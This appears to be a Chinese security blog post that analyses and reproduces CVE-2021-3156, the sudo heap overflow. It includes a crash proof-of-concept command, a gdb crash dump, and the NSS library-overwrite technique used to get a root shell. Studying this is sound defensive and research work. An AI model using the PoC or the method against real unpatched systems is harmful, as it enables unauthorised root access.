CVE-2021-3156 sudo 提权漏洞复现与分析
前言
前几天在玄武推的公众号上看到了这个洞,当天在各大安全资讯和安全论坛都给出了该漏洞的预警,我拿漏洞公布者的PoC试了下自己的Ubuntu18.04,也在漏洞影响的范围,上次遇到这种直接打Ubuntu 18.04的洞还是谷歌project zero的一个vmcache内核提权漏洞,当时还在调cve-2020-0796这个洞,加上感觉自己不太能写出1day的exp(上次ebpf的exp算是运气好正好在看相关的洞233),到今天github上已经见了好几个公开的PoC/Exp,在我机器上也未见成功,因此打算调一下这个洞,争取可以本机提权:D。
漏洞分析
漏洞公开者的博客为CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit),我们在wget https://www.sudo.ws/dist/sudo-1.8.31.tar.gz
下载一下1.8.31的源码,方便对着博客分析。
对于bash而言假如我们希望执行某个命令可以使用bash -c [command]
来执行,如果我们希望以root的权限去执行某个命令的话可以直接sudo [cmd]
,而如果我们希望以shell
模式去执行某个命令的时候,可以使用sudo -i
或者sudo -s
参数,在参数说明里我们可以看到-i, --login run login shell as the target user; a command may also be specified, -s, --shell run shell as the target user; a command may also be specified
,当我们使用上述参数时对于sudo的flags而言有两种情况:
- 使用
sudo -s
,设置MODE_SHELL
- 使用
sudo -i
,设置MODE_SHELL|MODE_LOGIN_SHELL
在src/parse_args.c
里我们可以看到对于这种模式的参数处理,处理方式为将参数按照空格拼接起来,对于一些元字符使用反斜线进行转义处理,最终覆写了argv为ac这个指针数组。
1 | /* |
随后在sudoers.c
中的sudoers_policy_main
函数中调用set_cmnd
将命令行参数存放在一个堆上的数据结构user_args
中,这里也对元字符做了处理,假如不是\\
+space
的形式就跳过元字符,否则拷贝到*to
。那么假如我们的命令行参数以\\
结尾,那么from[0]='\\';from[1]=NULL(注意NULL并非sapce范围)
,此时from++指向空字符,下面将空字符拷贝到了*to
并且from++
后执行了NULL后面的字符,此时再次进行while循环判断时很明显这里是可以继续进入循环的(如果后一个字符不为NULL),从而赋值得以继续进行,从而产生了溢出。
1 | if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { |
上述是我们的理论分析,在理论角度上看漏洞是存在的,但是我们在之前的漏洞中也见到过由于无法创造漏洞利用场景(比如我想提权但是exp里需要某个root用户给的capability),这样的洞就非常鸡肋。那么在我们的分析里有几个理想条件,那么最后的这个场景,即反斜线作为cmd-line的最后一个字符从理论上来说是无法实现的,这里要求我们有MODE_SHELL|MODE_LOGIN_SHELL
,而假如flag包含MODE_SHELL
的话在我们之前的parse_args
参数解析中就会将所有元字符给转义掉,也就是说会有两个反斜线,我们再按照代码走一遍会发现这样循环末尾的*from=NULL
,因此会跳出循环。
再仔细对比一下二者的条件,二者的条件略有不同。我们的问题在于能否设置flag为MODE_SHELL
以及MODE_RUN
或者MODE_EDIT
或者MODE_CHECK
。
再看下解析参数的部分会发现好像还是不太行,假如我们使用-e
参数设置MODE_EDIT
或者使用-l
参数设置MODE_CHECK
,我们的MODE_SHELL
参数就会被从valid_flags
去掉。
1 | //bug condition |
1 |
|
最后作者发现了一个可以利用的地方(盲猜是通过全局搜flag找到的),那就是如果我们去执行sudoedit,parse_args
函数会自动设置MODE_EDIT
,并且不会重置valid_flags
,而valid_flags
默认包含了MODE_SHELL
。
1 | /* |
也就是说,加入我们执行sudoedit -s
,就同时兼具了MODE_SHELL|MODE_EDIT
而没有MODE_RUN
,因此可以成功到达漏洞点。
我们使用下面的PoC进行测试1
gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
可以得到如下的crash1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65[----------------------------------registers-----------------------------------]
RAX: 0x41414141413d4131 ('1A=AAAAA')
RBX: 0x40011
RCX: 0x5558a1d0f8e0 ("A AAAAAA\021")
RDX: 0x40011
RSI: 0x0
RDI: 0x5558a1d4f8f0
RBP: 0x10
RSP: 0x7ffe6d98af70 --> 0x347
RIP: 0x7f13b050126d (<_int_malloc+3613>: mov QWORD PTR [rdi+0x8],rax)
R8 : 0x7f13b0857cd0 --> 0x7f13b0857cc0 --> 0x5558a1cf7390 --> 0x0
R9 : 0x0
R10: 0x5558a1ce6010 --> 0x1000000020007
R11: 0x4
R12: 0x3fff
R13: 0x7f13b0857ca0 --> 0x5558a1d4f8f0
R14: 0x7f13b0857c40 --> 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f13b0501262 <_int_malloc+3602>: mov QWORD PTR [r14+0x60],rdi
0x7f13b0501266 <_int_malloc+3606>: or rdx,rsi
0x7f13b0501269 <_int_malloc+3609>: mov QWORD PTR [rcx+0x8],rdx
=> 0x7f13b050126d <_int_malloc+3613>: mov QWORD PTR [rdi+0x8],rax
0x7f13b0501271 <_int_malloc+3617>: jmp 0x7f13b0501103 <_int_malloc+3251>
0x7f13b0501276 <_int_malloc+3622>: mov rcx,QWORD PTR [rdx+0x28]
0x7f13b050127a <_int_malloc+3626>: jmp 0x7f13b0501280 <_int_malloc+3632>
0x7f13b050127c <_int_malloc+3628>: mov rcx,QWORD PTR [rcx+0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7ffe6d98af70 --> 0x347
0008| 0x7ffe6d98af78 --> 0x40004
0016| 0x7ffe6d98af80 --> 0x7d00000000 ('')
0024| 0x7ffe6d98af88 --> 0x7
0032| 0x7ffe6d98af90 --> 0x0
0040| 0x7ffe6d98af98 --> 0x5558a1d06008 ('A' <repeats 200 times>...)
0048| 0x7ffe6d98afa0 --> 0x40030
0056| 0x7ffe6d98afa8 --> 0xffffffffffffffb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_int_malloc (av=av@entry=0x7f13b0857c40 <main_arena>, bytes=bytes@entry=0x40004) at malloc.c:4110
4110 malloc.c: No such file or directory.
gdb-peda$ bt
#0 _int_malloc (av=av@entry=0x7f13b0857c40 <main_arena>, bytes=bytes@entry=0x40004) at malloc.c:4110
#1 0x00007f13b05031cc in __GI___libc_malloc (bytes=0x40004) at malloc.c:3067
#2 0x00007f13b0a83faf in sudo_getgrouplist2_v1 (name=0x5558a1cf0748 "root", basegid=0x0, groupsp=groupsp@entry=0x7ffe6d98b0d0,
ngroupsp=ngroupsp@entry=0x7ffe6d98b0cc) at ./getgrouplist.c:101
#3 0x00007f13af36f3f7 in sudo_make_gidlist_item (pw=0x5558a1cf0718, unused1=<optimized out>, type=0x1) at ./pwutil_impl.c:272
#4 0x00007f13af36e0da in sudo_get_gidlist (pw=0x5558a1cf0718, type=type@entry=0x1) at ./pwutil.c:932
#5 0x00007f13af367f35 in runas_getgroups () at ./match.c:145
#6 0x00007f13af35a0fe in runas_setgroups () at ./set_perms.c:1714
#7 set_perms (perm=perm@entry=0x5) at ./set_perms.c:281
#8 0x00007f13af353bd4 in sudoers_lookup (snl=0x7f13af58fce0 <snl>, pw=0x5558a1cf0568, validated=validated@entry=0x60,
pwflag=pwflag@entry=0x0) at ./parse.c:298
#9 0x00007f13af35cd09 in sudoers_policy_main (argc=argc@entry=0x3, argv=argv@entry=0x7ffe6d98ba90, pwflag=pwflag@entry=0x0,
env_add=env_add@entry=0x0, verbose=verbose@entry=0x0, closure=closure@entry=0x7ffe6d98b7a0) at ./sudoers.c:324
#10 0x00007f13af355ef2 in sudoers_policy_check (argc=0x3, argv=0x7ffe6d98ba90, env_add=0x0, command_infop=0x7ffe6d98b828,
argv_out=0x7ffe6d98b830, user_env_out=0x7ffe6d98b838) at ./policy.c:872
#11 0x000055589ff8e02b in policy_check (plugin=0x5558a01ac780 <policy_plugin>, user_env_out=0x7ffe6d98b838,
argv_out=0x7ffe6d98b830, command_info=0x7ffe6d98b828, env_add=0x0, argv=0x7ffe6d98ba90, argc=0x3) at ./sudo.c:1138
#12 main (argc=argc@entry=0x4, argv=argv@entry=0x7ffe6d98ba88, envp=<optimized out>) at ./sudo.c:253
#13 0x00007f13b048dbf7 in __libc_start_main (main=0x55589ff8db80 <main>, argc=0x4, argv=0x7ffe6d98ba88, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6d98ba78) at ../csu/libc-start.c:310
#14 0x000055589ff8f95a in _start ()
gdb-peda$
这个洞对攻击者而言是非常理想的:
- 我们可以控制
user_args
这个数据结构分配的堆块大小(通过cmd-line的长度来进行控制)
1 | //sudoers.c |
攻击者可以独立控制溢出的大小和内容,(我们最后一个命令行参数后面跟着的是我们第一个环境变量,这部分的大小不会计算在上面malloc的sz大小内)
攻击者可以向溢出的缓冲区中写入零字节(每个命令行参数或者环境变量如果以反斜线结尾都会导致空字符被写入到user_args中)
漏洞利用
截止到今天网上已经公开了很多exp,根据oss-security
披露的exp,比较好用的方法是覆写nss_library
为X/X
,从而加载自定义的库函数,进而get root shell。
为了更好理解漏洞利用,我们首先需要理解glibc的nss。其全称为Name Service Switch
,每个Linux/Unix的操作系统中都有这样的一套称之为NSS的共享库来做一些解析,比如登录用户的用户名以及IP地址到域名的解析。比如对于DNS服务来说,它默认查看/etc/resolv.conf
配置文件的内容进行解析,对于用户和组来说,它会默认查看/etc/passwd
和/etc/group
。其配置文件位于/etc/nsswitch.conf
,其每行都规定了查找方法的规范,在GNU C Library里, 每个可用的SERVICE都必须有文件 /lib/libnss_SERVICE.so.1
与之对应。也就是说,GNU将每个服务实现为不同的module(shared library),因此可以在Linux系统中找到下列相应的共享库1
2
3
4
5
6
7
8
9libnss_nisplus.so.2
libnss_nis.so.2
libnss_dns.so.2
libnss_files.so.2
libnss_compat.so.2
libnss_hesiod.so.2
/lib/libnss_ldap.so.2
/lib/libnss_winbind.so.2
/lib/libnss_wins.so.2
当使用相应的函数时,会调用__nss_lookup_function
进行查找。
当sudo调用该函数时,service_user
类型的参数ni是在堆上分配的,假如我们将ni->library
置为空,即可通过nss_new_service
分配一个library,默认的ni->library->lib_handle
为NULL因而可以进入下面的加载部分,我们将ni->name
覆写为X/X
,最后经过拼接将加载libnss_X/X.so.2
,我们将get root shell的代码编译为共享库即可。
1 | void * |
这种利用方式使得我们可以绕过ASLR的限制,不过有一些实现的细节问题,首先是我们如何找到加载的service_user
类型的数据,这个问题可以通过gdb搜索systemd
字符串来确定。
其次是我们需要通过堆溢出覆写nss_load_libray
的参数,这就要求我们可控的堆空间距离参数的距离最好要小一点,否则可能因为溢出到中间的关键数据结构导致程序crash。那么最好的方法就是我们人为地在存储systemd
的数据结构前释放一个空闲堆块,并且在user_args
申请时使其申请得到这样一个堆块,进而溢出伪造service_user
。目前公开的exp是使用setlocale
函数来进行的提前占位。到这里我们再来了解一下setlocale。
懒人直接粘贴manual page,这个函数是用来设置计算机的地址信息的,有很多参数可以选择,LC_ALL
表示下面的全部选项都使用。使用系统默认的设置调用setlocale(LC_ALL,"");
1 | SYNOPSIS |
在sudo的main函数的开头(154行)调用setlocale(LC_ALL, "");
从而使用系统的默认设置locale,在169行调用if (sudo_conf_read(NULL, SUDO_CONF_DEBUG) == -1)
函数,在该函数中调用strdup(prev_locale)
以及free(prev_locale);
进行了堆块的分配释放,且位于sudo靠前的位置,我们可以考虑在此处分配并释放特殊大小的堆块,为之后的,经过调试发现这里其实并不是在占位,而是改变堆块的布局结构,为分配到user_args
占位user_args
铺垫。
下图为strdup调用
下图为分配之后的堆布局
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103/*
* Reads in /etc/sudo.conf and populates sudo_conf_data.
*/
int
sudo_conf_read_v1(const char *conf_file, int conf_types)
{
struct stat sb;
FILE *fp = NULL;
int ret = false;
char *prev_locale, *line = NULL;
unsigned int conf_lineno = 0;
size_t linesize = 0;
debug_decl(sudo_conf_read, SUDO_DEBUG_UTIL)
if ((prev_locale = setlocale(LC_ALL, NULL)) == NULL) {
sudo_warn("setlocale(LC_ALL, NULL)");
debug_return_int(-1);
}
if ((prev_locale = strdup(prev_locale)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
/* Parse sudo.conf in the "C" locale. */
if (prev_locale[0] != 'C' || prev_locale[1] != '\0')
setlocale(LC_ALL, "C");
if (conf_file == NULL) {
conf_file = _PATH_SUDO_CONF;
switch (sudo_secure_file(conf_file, ROOT_UID, -1, &sb)) {
case SUDO_PATH_SECURE:
break;
case SUDO_PATH_MISSING:
/* Root should always be able to read sudo.conf. */
if (errno != ENOENT && geteuid() == ROOT_UID)
sudo_warn(U_("unable to stat %s"), conf_file);
goto done;
case SUDO_PATH_BAD_TYPE:
sudo_warnx(U_("%s is not a regular file"), conf_file);
goto done;
case SUDO_PATH_WRONG_OWNER:
sudo_warnx(U_("%s is owned by uid %u, should be %u"),
conf_file, (unsigned int) sb.st_uid, ROOT_UID);
goto done;
case SUDO_PATH_WORLD_WRITABLE:
sudo_warnx(U_("%s is world writable"), conf_file);
goto done;
case SUDO_PATH_GROUP_WRITABLE:
sudo_warnx(U_("%s is group writable"), conf_file);
goto done;
default:
/* NOTREACHED */
goto done;
}
}
if ((fp = fopen(conf_file, "r")) == NULL) {
if (errno != ENOENT && geteuid() == ROOT_UID)
sudo_warn(U_("unable to open %s"), conf_file);
goto done;
}
while (sudo_parseln(&line, &linesize, &conf_lineno, fp, 0) != -1) {
struct sudo_conf_table *cur;
unsigned int i;
char *cp;
if (*(cp = line) == '\0')
continue; /* empty line or comment */
for (i = 0, cur = sudo_conf_table; cur->name != NULL; i++, cur++) {
if (strncasecmp(cp, cur->name, cur->namelen) == 0 &&
isblank((unsigned char)cp[cur->namelen])) {
if (ISSET(conf_types, (1 << i))) {
cp += cur->namelen;
while (isblank((unsigned char)*cp))
cp++;
ret = cur->parser(cp, conf_file, conf_lineno);
if (ret == -1)
goto done;
}
break;
}
}
if (cur->name == NULL) {
sudo_debug_printf(SUDO_DEBUG_WARN,
"%s: %s:%u: unsupported entry: %s", __func__, conf_file,
conf_lineno, line);
}
}
ret = true;
done:
if (fp != NULL)
fclose(fp);
free(line);
/* Restore locale if needed. */
if (prev_locale[0] != 'C' || prev_locale[1] != '\0')
setlocale(LC_ALL, prev_locale);
free(prev_locale);
debug_return_int(ret);
}
在sudo main函数的191行调用了get_user_info(&user_details)
函数,进而通过getpwuid
调用到__getpwuid_r
,最终初始化了systemd
的service_user
结构.因为本地没有符号,我是拿IDA反编译sudo手动定位到的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79/*
* Return user information as an array of name=value pairs.
* and fill in struct user_details (which shares the same strings).
*/
static char **
get_user_info(struct user_details *ud)
{
char *cp, **user_info, path[PATH_MAX];
unsigned int i = 0;
mode_t mask;
struct passwd *pw;
int fd;
debug_decl(get_user_info, SUDO_DEBUG_UTIL)
/*
* On BSD systems you can set a hint to keep the password and
* group databases open instead of having to open and close
* them all the time. Since sudo does a lot of password and
* group lookups, keeping the file open can speed things up.
*/
setpassent(1);
setgroupent(1);
memset(ud, 0, sizeof(*ud));
/* XXX - bound check number of entries */
user_info = reallocarray(NULL, 32, sizeof(char *));
if (user_info == NULL)
goto oom;
ud->pid = getpid();
ud->ppid = getppid();
ud->pgid = getpgid(0);
ud->tcpgid = -1;
fd = open(_PATH_TTY, O_RDWR);
if (fd != -1) {
ud->tcpgid = tcgetpgrp(fd);
close(fd);
}
ud->sid = getsid(0);
ud->uid = getuid();
ud->euid = geteuid();
ud->gid = getgid();
ud->egid = getegid();
aix_setauthdb(IDtouser(ud->uid), NULL);
pw = getpwuid(ud->uid);
//..
}
static const char *pwfile = "/etc/passwd";
struct passwd *
getpwuid(uid_t uid)
{
struct passwd *pw;
if (pwf == NULL) {
if ((pwf = fopen(pwfile, "r")) == NULL)
return NULL;
(void)fcntl(fileno(pwf), F_SETFD, FD_CLOEXEC);
} else {
rewind(pwf);
}
while ((pw = getpwent()) != NULL) {
if (pw->pw_uid == uid)
break;
}
if (!pw_stayopen) {
fclose(pwf);
pwf = NULL;
}
return pw;
}
经过一系列的分配释放我们终于在目标地址的上方构造出了一个空闲堆块,通过查看堆上的脏数据可以判定该堆块是在nsswitch的时候用到的一个临时堆块,释放之后恰好在存储systemd
这个共享库的上方。
最后我打印了一下构造好的堆布局
1 | gdb-peda$ x/180gx 0x555555783ea0-0x10 |
下图为构造出的空闲堆块。
下图为分配user_args
下图为构造的user_args
及ni
,当我们使用反斜线时就会向堆中写入空字符,在exp里我们构造的环境变量的前面为反斜线以填充0,因为堆块大小为0x40因此我们填充的大小为63(包含堆块头),最终把0x5555557843d0
的字符串改为X/P0P_SH3LLZ_
本地环境及sudo版本
调试技巧
gdb ./exp
断到execve之后b setlocale
进到sudo里,反编译sudoers.so
找到分配user_args
的位置(根据函数里的特殊字符串定位),nss_load_libray
为libc库函数,可直接断下,最后配合上述流程分析即可。
总结
最后的exp构造出的堆空间非常巧妙,由于没有资料显示如何构造,只能理解为多次实验寻找规律或者fuzz关键参数自动化跑,就目前公开的结果看我还是倾向于大家都是fuzz的。在之前qemu逃逸的分析中我们可以知道假如可以构造稳定的malloc原语和free原语其实我们就会有稳定的exp,可能也正因为这个exp没有给出构造原语的方法,exp作者最后给了一个爆破脚本用以适配其他系统。